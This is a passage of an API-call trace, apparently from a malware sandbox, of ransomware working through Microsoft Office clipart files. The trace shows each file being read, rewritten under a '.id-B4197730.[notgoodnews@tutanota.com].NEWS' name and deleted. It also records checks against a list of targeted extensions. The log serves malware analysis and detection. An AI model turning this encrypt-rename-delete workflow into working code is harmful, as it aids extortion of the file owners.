returned -1 [0162.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0162.954] lstrlenW (lpString=".jpg") returned 4 [0162.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.955] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.955] lstrlenW (lpString="J0086420.WMF") returned 12 [0162.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.956] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=9596) returned 1 [0162.956] CloseHandle (hObject=0x4c4) returned 1 [0162.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0162.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.956] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.957] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0162.958] GetLastError () returned 0x0 [0162.958] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x257c, lpOverlapped=0x0) returned 1 [0162.964] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2580, lpOverlapped=0x0) returned 1 [0162.966] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.966] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.966] SetEndOfFile (hFile=0x4bc) returned 1 [0162.966] CloseHandle (hObject=0x4bc) returned 1 [0162.966] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.967] SetEndOfFile (hFile=0x4c4) returned 1 [0162.970] CloseHandle (hObject=0x4c4) returned 1 [0162.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0162.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.972] lstrlenW (lpString=".doc") returned 4 [0162.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString=".docx") returned 5 [0162.972] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.972] lstrlenW (lpString=".pdf") returned 4 [0162.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString=".xls") returned 4 [0162.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.972] lstrlenW (lpString=".xlsx") returned 5 [0162.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.972] lstrlenW (lpString=".ppt") returned 4 [0162.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.972] lstrlenW (lpString=".zip") returned 4 [0162.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.972] lstrlenW (lpString=".rar") returned 4 [0162.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString=".bz2") returned 4 [0162.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString=".7z") returned 3 [0162.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.972] lstrlenW (lpString=".dbf") returned 4 [0162.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.972] lstrlenW (lpString=".1cd") returned 4 [0162.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.972] lstrlenW (lpString=".jpg") returned 4 [0162.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.973] lstrlenW (lpString=".doc") returned 4 [0162.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".docx") returned 5 [0162.973] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.973] lstrlenW (lpString=".pdf") returned 4 [0162.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".xls") returned 4 [0162.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".xlsx") returned 5 [0162.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.973] lstrlenW (lpString=".ppt") returned 4 [0162.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.973] lstrlenW (lpString=".zip") returned 4 [0162.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.973] lstrlenW (lpString=".rar") returned 4 [0162.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".bz2") returned 4 [0162.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString=".7z") returned 3 [0162.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.973] lstrlenW (lpString=".dbf") returned 4 [0162.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.974] lstrlenW (lpString=".1cd") returned 4 [0162.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF") returned 68 [0162.974] lstrlenW (lpString=".jpg") returned 4 [0162.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.974] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.974] lstrlenW (lpString="J0086424.WMF") returned 12 [0162.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.975] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=17016) returned 1 [0162.975] CloseHandle (hObject=0x4c4) returned 1 [0162.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0162.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.977] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.977] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0162.978] GetLastError () returned 0x0 [0162.978] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4278, lpOverlapped=0x0) returned 1 [0162.982] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4280, lpOverlapped=0x0) returned 1 [0162.983] ReadFile (in: hFile=0x4c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.983] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.983] SetEndOfFile (hFile=0x4bc) returned 1 [0162.984] CloseHandle (hObject=0x4bc) returned 1 [0162.984] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.984] SetEndOfFile (hFile=0x4c4) returned 1 [0163.201] CloseHandle (hObject=0x4c4) returned 1 [0163.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0163.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0163.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.590] lstrlenW (lpString=".doc") returned 4 [0163.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString=".docx") returned 5 [0163.591] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0163.591] lstrlenW (lpString=".pdf") returned 4 [0163.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString=".xls") returned 4 [0163.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.591] lstrlenW (lpString=".xlsx") returned 5 [0163.591] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0163.591] lstrlenW (lpString=".ppt") returned 4 [0163.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString=".zip") returned 4 [0163.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.591] lstrlenW (lpString=".rar") returned 4 [0163.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString=".bz2") returned 4 [0163.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString=".7z") returned 3 [0163.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString=".dbf") returned 4 [0163.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString=".1cd") returned 4 [0163.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString=".jpg") returned 4 [0163.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.591] lstrlenW (lpString=".doc") returned 4 [0163.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.591] lstrlenW (lpString=".docx") returned 5 [0163.592] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0163.592] lstrlenW (lpString=".pdf") returned 4 [0163.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString=".xls") returned 4 [0163.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.592] lstrlenW (lpString=".xlsx") returned 5 [0163.592] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0163.592] lstrlenW (lpString=".ppt") returned 4 [0163.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.592] lstrlenW (lpString=".zip") returned 4 [0163.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.592] lstrlenW (lpString=".rar") returned 4 [0163.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString=".bz2") returned 4 [0163.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString=".7z") returned 3 [0163.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.592] lstrlenW (lpString=".dbf") returned 4 [0163.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.592] lstrlenW (lpString=".1cd") returned 4 [0163.592] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0163.592] lstrlenW (lpString=".jpg") returned 4 [0163.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.593] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0163.593] lstrlenW (lpString="J0086428.WMF") returned 12 [0163.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.593] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=35346) returned 1 [0163.593] CloseHandle (hObject=0x4dc) returned 1 [0163.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0163.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.594] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.594] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0163.595] GetLastError () returned 0x0 [0163.595] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x8a12, lpOverlapped=0x0) returned 1 [0163.598] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x8a20, lpOverlapped=0x0) returned 1 [0163.600] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.600] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.600] SetEndOfFile (hFile=0x4e0) returned 1 [0163.600] CloseHandle (hObject=0x4e0) returned 1 [0163.600] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.600] SetEndOfFile (hFile=0x4dc) returned 1 [0163.604] CloseHandle (hObject=0x4dc) returned 1 [0163.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0163.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0163.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.605] lstrlenW (lpString=".doc") returned 4 [0163.605] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.605] lstrlenW (lpString=".docx") returned 5 [0163.605] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0163.605] lstrlenW (lpString=".pdf") returned 4 [0163.605] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.605] lstrlenW (lpString=".xls") returned 4 [0163.605] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.605] lstrlenW (lpString=".xlsx") returned 5 [0163.605] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0163.605] lstrlenW (lpString=".ppt") returned 4 [0163.605] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".zip") returned 4 [0163.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.606] lstrlenW (lpString=".rar") returned 4 [0163.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString=".bz2") returned 4 [0163.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString=".7z") returned 3 [0163.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".dbf") returned 4 [0163.606] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".1cd") returned 4 [0163.606] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".jpg") returned 4 [0163.606] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".doc") returned 4 [0163.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString=".docx") returned 5 [0163.606] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0163.606] lstrlenW (lpString=".pdf") returned 4 [0163.606] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString=".xls") returned 4 [0163.606] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.606] lstrlenW (lpString=".xlsx") returned 5 [0163.606] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0163.606] lstrlenW (lpString=".ppt") returned 4 [0163.606] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.606] lstrlenW (lpString=".zip") returned 4 [0163.606] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.606] lstrlenW (lpString=".rar") returned 4 [0163.606] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.607] lstrlenW (lpString=".bz2") returned 4 [0163.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.607] lstrlenW (lpString=".7z") returned 3 [0163.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.607] lstrlenW (lpString=".dbf") returned 4 [0163.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.607] lstrlenW (lpString=".1cd") returned 4 [0163.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0163.607] lstrlenW (lpString=".jpg") returned 4 [0163.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.607] lstrcmpiW (lpString1=".WMF", 